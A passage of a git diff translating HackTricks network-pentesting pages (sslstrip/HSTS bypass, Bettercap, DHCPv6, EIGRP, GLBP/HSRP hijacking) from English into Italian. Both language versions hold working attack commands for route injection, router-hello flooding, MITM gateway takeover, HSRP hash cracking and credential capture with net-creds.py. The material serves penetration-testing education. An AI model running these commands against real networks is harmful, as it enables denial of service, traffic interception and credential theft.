HTTP con** il **client e** una **connessione HTTPS con** il **server** in modo da poter **sniffare** la connessione in **testo semplice**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Maggiori informazioni [qui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ e dns2proxy per bypassare HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** tramite https con **www.facebook.com**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +L'**obiettivo** di questa tecnica è **evitare HSTS** perché _**wwww**.facebook.com_ **non sarà** salvato nella **cache** del browser, quindi il browser sarà ingannato a eseguire **l'autenticazione di facebook in HTTP**.\ +Nota che per eseguire questo attacco la vittima deve cercare di accedere inizialmente a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Maggiori informazioni [qui](https://www.bettercap.org/legacy/#hsts-bypass), [qui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [qui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", vi accederà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## TCP ascolta sulla porta ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL ascolta sulla porta -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### Genera chiavi e certificato autofirmato ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### Ascolta utilizzando il certificato ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### Ascolta utilizzando il certificato e reindirizza agli host ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +A volte, se il cliente verifica che il CA è valido, potresti **servire un certificato di un altro hostname firmato da un CA**.\ +Un altro test interessante è **servire un certificato dell'hostname richiesto ma auto-firmato**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come Diffie-Hellman (uno che non richiede di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo. ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,20 +764,19 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Note di Scoperta Attiva -### Active Discovery Notes - -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +Tieni presente che quando un pacchetto UDP viene inviato a un dispositivo che non ha la porta richiesta, viene inviato un ICMP (Port Unreachable). ### **ARP discover** -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +I pacchetti ARP vengono utilizzati per scoprire quali IP sono in uso all'interno della rete. Il PC deve inviare una richiesta per ogni possibile indirizzo IP e solo quelli in uso risponderanno. ### **mDNS (multicast DNS)** -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +Bettercap invia una richiesta MDNS (ogni X ms) chiedendo **\_services\_.dns-sd.\_udp.local**; la macchina che vede questo pacchetto di solito risponde a questa richiesta. Poi, cerca solo le macchine che rispondono a "services". -**Tools** +**Strumenti** - Avahi-browser (--all) - Bettercap (net.probe.mdns) @@ -883,26 +784,23 @@ Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp ### **NBNS (NetBios Name Server)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap trasmette pacchetti alla porta 137/UDP chiedendo il nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". ### **SSDP (Simple Service Discovery Protocol)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap trasmette pacchetti SSDP cercando tutti i tipi di servizi (porta UDP 1900). ### **WSD (Web Service Discovery)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap trasmette pacchetti WSD cercando servizi (porta UDP 3702). -## References +## Riferimenti - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - **Network Security Assessment: Know Your Network (3rd edition)** - **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..4da1c058a 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,39 +1,39 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### Confronto dei Tipi di Messaggi DHCPv6 vs. DHCPv4 -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +Una vista comparativa dei tipi di messaggi DHCPv6 e DHCPv4 è presentata nella tabella sottostante: -| DHCPv6 Message Type | DHCPv4 Message Type | -| :--------------------------------- | :------------------ | -| Solicit (1) | DHCPDISCOVER | -| Advertise (2) | DHCPOFFER | -| Request (3), Renew (5), Rebind (6) | DHCPREQUEST | -| Reply (7) | DHCPACK / DHCPNAK | -| Release (8) | DHCPRELEASE | -| Information-Request (11) | DHCPINFORM | -| Decline (9) | DHCPDECLINE | -| Confirm (4) | none | -| Reconfigure (10) | DHCPFORCERENEW | -| Relay-Forw (12), Relay-Reply (13) | none | +| Tipo di Messaggio DHCPv6 | Tipo di Messaggio DHCPv4 | +| :--------------------------------- | :----------------------- | +| Solicit (1) | DHCPDISCOVER | +| Advertise (2) | DHCPOFFER | +| Request (3), Renew (5), Rebind (6) | DHCPREQUEST | +| Reply (7) | DHCPACK / DHCPNAK | +| Release (8) | DHCPRELEASE | +| Information-Request (11) | DHCPINFORM | +| Decline (9) | DHCPDECLINE | +| Confirm (4) | nessuno | +| Reconfigure (10) | DHCPFORCERENEW | +| Relay-Forw (12), Relay-Reply (13) | nessuno | -**Detailed Explanation of DHCPv6 Message Types:** +**Spiegazione Dettagliata dei Tipi di Messaggi DHCPv6:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: Iniziato da un client DHCPv6 per trovare server disponibili. +2. **Advertise (2)**: Inviato dai server in risposta a un Solicit, indicando disponibilità per il servizio DHCP. +3. **Request (3)**: I client usano questo per richiedere indirizzi IP o prefissi da un server specifico. +4. **Confirm (4)**: Utilizzato da un client per verificare se gli indirizzi assegnati sono ancora validi sulla rete, tipicamente dopo un cambiamento di rete. +5. **Renew (5)**: I client inviano questo al server originale per estendere la durata degli indirizzi o aggiornare le configurazioni. +6. **Rebind (6)**: Inviato a qualsiasi server per estendere la durata degli indirizzi o aggiornare le configurazioni, specialmente quando non si riceve risposta a un Renew. +7. **Reply (7)**: I server usano questo per fornire indirizzi, parametri di configurazione o per riconoscere messaggi come Release o Decline. +8. **Release (8)**: I client informano il server di smettere di utilizzare uno o più indirizzi assegnati. +9. **Decline (9)**: Inviato dai client per segnalare che gli indirizzi assegnati sono in conflitto sulla rete. +10. **Reconfigure (10)**: I server invitano i client a iniziare transazioni per nuove o aggiornate configurazioni. +11. **Information-Request (11)**: I client richiedono parametri di configurazione senza assegnazione di indirizzi IP. +12. **Relay-Forw (12)**: Gli agenti di relay inoltrano messaggi ai server. +13. **Relay-Repl (13)**: I server rispondono agli agenti di relay, che poi consegnano il messaggio al client. -## References +## Riferimenti - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..ffb584fe8 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -2,60 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**Questo è un riepilogo degli attacchi esposti in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Controllalo per ulteriori informazioni. -## **Fake EIGRP Neighbors Attack** +## **Attacco ai Vicini EIGRP Falsi** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **Obiettivo**: Sovraccaricare le CPU dei router inondandole con pacchetti hello EIGRP, portando potenzialmente a un attacco di Denial of Service (DoS). +- **Strumento**: **helloflooding.py** script. +- **Esecuzione**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **Parametri**: +- `--interface`: Specifica l'interfaccia di rete, ad esempio, `eth0`. +- `--as`: Definisce il numero del sistema autonomo EIGRP, ad esempio, `1`. +- `--subnet`: Imposta la posizione della subnet, ad esempio, `10.10.100.0/24`. -## **EIGRP Blackhole Attack** +## **Attacco Blackhole EIGRP** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **Obiettivo**: Interrompere il flusso di traffico di rete iniettando una rotta falsa, portando a un blackhole dove il traffico è diretto a una destinazione inesistente. +- **Strumento**: **routeinject.py** script. +- **Esecuzione**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **Parametri**: +- `--interface`: Specifica l'interfaccia del sistema dell'attaccante. +- `--as`: Definisce il numero AS EIGRP. +- `--src`: Imposta l'indirizzo IP dell'attaccante. +- `--dst`: Imposta l'indirizzo IP della subnet target. +- `--prefix`: Definisce la maschera dell'indirizzo IP della subnet target. -## **Abusing K-Values Attack** +## **Attacco all'Abuso dei Valori K** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **Obiettivo**: Creare interruzioni e riconnessioni continue all'interno del dominio EIGRP iniettando valori K alterati, risultando effettivamente in un attacco DoS. +- **Strumento**: **relationshipnightmare.py** script. +- **Esecuzione**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **Parametri**: +- `--interface`: Specifica l'interfaccia di rete. +- `--as`: Definisce il numero AS EIGRP. +- `--src`: Imposta l'indirizzo IP di un router legittimo. -## **Routing Table Overflow Attack** +## **Attacco all'Overflow della Tabella di Routing** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **Obiettivo**: Stressare la CPU e la RAM del router inondando la tabella di routing con numerose rotte false. +- **Strumento**: **routingtableoverflow.py** script. +- **Esecuzione**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **Parametri**: +- `--interface`: Specifica l'interfaccia di rete. +- `--as`: Definisce il numero AS EIGRP. +- `--src`: Imposta l'indirizzo IP dell'attaccante. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..06ec93e7a 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,60 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +FHRP è progettato per fornire robustezza alla rete unendo più router in una singola unità virtuale, migliorando così la distribuzione del carico e la tolleranza ai guasti. Cisco Systems ha introdotto protocolli prominenti in questo insieme, come GLBP e HSRP. ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +La creazione di Cisco, GLBP, funziona sullo stack TCP/IP, utilizzando UDP sulla porta 3222 per la comunicazione. I router in un gruppo GLBP scambiano pacchetti "hello" a intervalli di 3 secondi. Se un router non riesce a inviare questi pacchetti per 10 secondi, si presume che sia offline. Tuttavia, questi timer non sono fissi e possono essere modificati. ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +GLBP si distingue abilitando la distribuzione del carico tra i router utilizzando un singolo IP virtuale abbinato a più indirizzi MAC virtuali. In un gruppo GLBP, ogni router è coinvolto nell'inoltro dei pacchetti. A differenza di HSRP/VRRP, GLBP offre un vero bilanciamento del carico attraverso diversi meccanismi: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** Mantiene un'assegnazione costante dell'indirizzo MAC AVF a un host, essenziale per configurazioni NAT stabili. +- **Round-Robin Load Balancing:** L'approccio predefinito, alternando l'assegnazione dell'indirizzo MAC AVF tra gli host richiedenti. +- **Weighted Round-Robin Load Balancing:** Distribuisce il carico in base a metriche di "Peso" predefinite. ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** Il router principale, responsabile dell'assegnazione degli indirizzi MAC ai router peer. +- **AVF (Active Virtual Forwarder):** Un router designato per gestire il traffico di rete. +- **GLBP Priority:** Una metrica che determina l'AVG, partendo da un valore predefinito di 100 e variando tra 1 e 255. +- **GLBP Weight:** Riflette il carico attuale su un router, regolabile manualmente o tramite Object Tracking. +- **GLBP Virtual IP Address:** Funziona come gateway predefinito della rete per tutti i dispositivi connessi. -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +Per le interazioni, GLBP utilizza l'indirizzo multicast riservato 224.0.0.102 e la porta UDP 3222. I router trasmettono pacchetti "hello" a intervalli di 3 secondi e sono considerati non operativi se un pacchetto viene perso per una durata di 10 secondi. ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +Un attaccante può diventare il router principale inviando un pacchetto GLBP con il valore di priorità più alto (255). Questo può portare a attacchi DoS o MITM, consentendo l'intercettazione o la reindirizzazione del traffico. ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali) può eseguire un attacco GLBP iniettando un pacchetto con priorità e peso impostati a 255. I passaggi pre-attacco comportano la raccolta di informazioni come l'indirizzo IP virtuale, la presenza di autenticazione e i valori di priorità del router utilizzando strumenti come Wireshark. Attack Steps: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +1. Passare alla modalità promiscuous e abilitare l'inoltro IP. +2. Identificare il router target e recuperare il suo IP. +3. Generare un Gratuitous ARP. +4. Iniettare un pacchetto GLBP malevolo, impersonando l'AVG. +5. Assegnare un indirizzo IP secondario all'interfaccia di rete dell'attaccante, rispecchiando l'IP virtuale GLBP. +6. Implementare SNAT per una visibilità completa del traffico. +7. Regolare il routing per garantire l'accesso continuo a Internet attraverso il router AVG originale. -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +Seguendo questi passaggi, l'attaccante si posiziona come un "man in the middle", capace di intercettare e analizzare il traffico di rete, inclusi dati non crittografati o sensibili. +Per la dimostrazione, ecco i frammenti di comando richiesti: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +Monitorare e intercettare il traffico può essere fatto utilizzando net-creds.py o strumenti simili per catturare e analizzare i dati che fluiscono attraverso la rete compromessa. -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### Spiegazione Passiva dell'Hijacking HSRP con Dettagli sui Comandi -### Passive Explanation of HSRP Hijacking with Command Details +#### Panoramica di HSRP (Hot Standby Router/Redundancy Protocol) -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRP è un protocollo proprietario Cisco progettato per la ridondanza del gateway di rete. Consente la configurazione di più router fisici in un'unica unità logica con un indirizzo IP condiviso. Questa unità logica è gestita da un router primario responsabile della direzione del traffico. A differenza di GLBP, che utilizza metriche come priorità e peso per il bilanciamento del carico, HSRP si basa su un singolo router attivo per la gestione del traffico. -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### Ruoli e Terminologia in HSRP -#### Roles and Terminology in HSRP +- **Router Attivo HSRP**: Il dispositivo che funge da gateway, gestendo il flusso di traffico. +- **Router Standby HSRP**: Un router di backup, pronto a subentrare se il router attivo fallisce. +- **Gruppo HSRP**: Un insieme di router che collaborano per formare un singolo router virtuale resiliente. +- **Indirizzo MAC HSRP**: Un indirizzo MAC virtuale assegnato al router logico nella configurazione HSRP. +- **Indirizzo IP Virtuale HSRP**: L'indirizzo IP virtuale del gruppo HSRP, che funge da gateway predefinito per i dispositivi connessi. -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### Versioni HSRP -#### HSRP Versions +HSRP è disponibile in due versioni, HSRPv1 e HSRPv2, che differiscono principalmente nella capacità del gruppo, nell'uso dell'IP multicast e nella struttura dell'indirizzo MAC virtuale. Il protocollo utilizza indirizzi IP multicast specifici per lo scambio di informazioni di servizio, con pacchetti Hello inviati ogni 3 secondi. Un router è considerato inattivo se non viene ricevuto alcun pacchetto entro un intervallo di 10 secondi. -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### Meccanismo di Attacco HSRP -#### HSRP Attack Mechanism +Gli attacchi HSRP comportano l'assunzione forzata del ruolo del Router Attivo iniettando un valore di priorità massimo. Questo può portare a un attacco Man-In-The-Middle (MITM). I passaggi essenziali pre-attacco includono la raccolta di dati sulla configurazione HSRP, che può essere effettuata utilizzando Wireshark per l'analisi del traffico. -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### Passaggi per Bypassare l'Autenticazione HSRP -#### Steps for Bypassing HSRP Authentication +1. Salva il traffico di rete contenente dati HSRP come file .pcap. +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. Estrai gli hash MD5 dal file .pcap utilizzando hsrp2john.py. +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. Cracca gli hash MD5 utilizzando John the Ripper. +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**Esecuzione dell'Iniezione HSRP con Loki** -**Executing HSRP Injection with Loki** +1. Avvia Loki per identificare le pubblicità HSRP. +2. Imposta l'interfaccia di rete in modalità promiscuo e abilita l'inoltro IP. +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Usa Loki per mirare al router specifico, inserisci la password HSRP craccata e esegui le configurazioni necessarie per impersonare il Router Attivo. +4. Dopo aver ottenuto il ruolo del Router Attivo, configura la tua interfaccia di rete e le tabelle IP per intercettare il traffico legittimo. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Modifica la tabella di routing per instradare il traffico attraverso il precedente Router Attivo. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Usa net-creds.py o un'utilità simile per catturare le credenziali dal traffico intercettato. +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +Eseguire questi passaggi pone l'attaccante in una posizione per 